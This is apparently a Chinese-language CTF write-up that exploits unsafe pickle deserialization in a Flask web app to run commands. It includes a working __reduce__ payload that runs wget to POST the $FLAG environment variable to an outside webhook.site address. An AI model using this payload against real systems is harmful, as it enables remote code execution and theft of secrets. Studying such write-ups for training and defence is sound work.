# 12004-fukuwarai > http://ctf.adl.tw:12004/ ## Briefing 酷!換臉 web app  ## Exploit 網站給了 sauce code,並提示我們 FLAG 在環境變數裡面  看起來是使用 Flask 做後端,redis, flask_session 存使用者資料、pickle 把資料捲成一坨。 經通靈後,發現 pickle 有[任意執行漏洞](https://ithelp.ithome.com.tw/articles/10281368): ```python import pickle import os class HelloFooHow(object): def __reduce__(self): return os.system,("echo hello foohow",) a = pickle.dumps(HelloFooHow()) pickle.loads(a) # 會印出 hello foohow ``` 檢查網站內有用到 `pickle.loads` 的地方  讚!他雖然有做資料檢查,但是是在 pickle 解析資料以後。我們現在只需要把壞壞的東西(字串)放到 JSON 的 `layout` 底下就行! 這裡我們讓遠端機器把 flag 直接 POST 到遠端機器上 https://webhook.site/ ```python! class Tmp(): def __reduce__(self): return (os.system, ("wget --post-data \"flag is $FLAG\" https://webhook.site/87d30580-8785-4236-b1ef-24ed29e77b70",)) ```  > flag: `ADL{5hi4W45e_n0_5UP4ir4Ru|https://youtu.be/BVvcQ4ge8Ow}` 
×
Sign in
Email
Password
Forgot password
or
By clicking below, you agree to our
terms of service
.
Sign in via Facebook
Sign in via Twitter
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Wallet (
)
Connect another wallet
New to HackMD?
Sign up